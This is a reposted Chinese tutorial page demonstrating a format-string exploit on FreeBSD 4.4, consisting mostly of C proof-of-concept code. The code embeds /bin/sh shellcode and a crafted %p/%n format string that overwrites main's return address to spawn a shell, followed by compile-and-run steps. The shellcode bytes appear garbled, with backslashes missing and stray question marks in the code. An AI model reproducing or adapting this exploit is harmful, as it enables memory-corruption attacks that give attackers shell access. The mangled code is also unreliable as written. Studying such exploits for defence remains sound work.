加入收藏 | 设为首页 | 会员中心 | 我要投稿 辽源站长网 (https://www.0437zz.com/)- 云专线、云连接、智能数据、边缘计算、数据安全!
当前位置: 首页 > 站长学院 > MsSql教程 > 正文

FreeBSD格式化字符串简单演示

发布时间:2019-12-13 06:27:51 所属栏目:MsSql教程 来源:蓝点
导读:/* simple example for printf ex on FreeBSD */ #include char shell[]= "1xc0tf_PPWWx88Gaxb0;xcdx80xe8xefxffxffxff/bin/sh"; long addr,length=shell-152; char *pc = (char *)addr; int main(int argc,char * argv[]) { long p[1]; char
/* simple example for printf ex on FreeBSD */
#include
char shell[]=
"1xc0tf_PPWWx88Gaxb0;xcdx80xe8xefxffxffxff/bin/sh";
long addr,length=shell-152;
char *pc = (char *)&addr;
int main(int argc,char * argv[])
{
  long p[1];
  char buff[76];
  addr = (long ) &p[2];
  sprintf(buff,"%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%%up
 ? %%nCCC%c%c%c%c",length,pc[0],pc[1],pc[2],pc[3]);
  printf(buff);?//所有的安全问题都在这,我们就是通过这得到shell的 ^_*
}

这样我们通过修改addr和length就能修改任意地址,写入任意内容
addr就是我们将要修改的地址
length+17x4+7 就是我们要填入的内容
在这儿addr=&p[2]就是main的返回地址 buff-28就是print返回地址 . . . .
length+17x4+7即为shell的地址,这样就回到了shell上运行得到了一个shell
当然你也可以指定addr为printf函数返回地址等 . . .?.
gcc printfex.c -o ex
./ex >/dev/null??????#为了防止打印太多东西?从定向(要不然shell出现之前得要打印几分钟)
好了现在什么也没有显示了,shell的输出都被从定向到/dev/null下了呵呵
随便敲一个 touch /tmp/testtest
exit
好了回到shell了去看看/tmp/testtest产生了没有.

//说明,本文不是入门级的,如果有什么不清楚请参阅网上相应文章
//最好建议自己打开gdb来调试
//Tested on FreeBSD4.4
 ??????? __ by watercloud __

(编辑:辽源站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读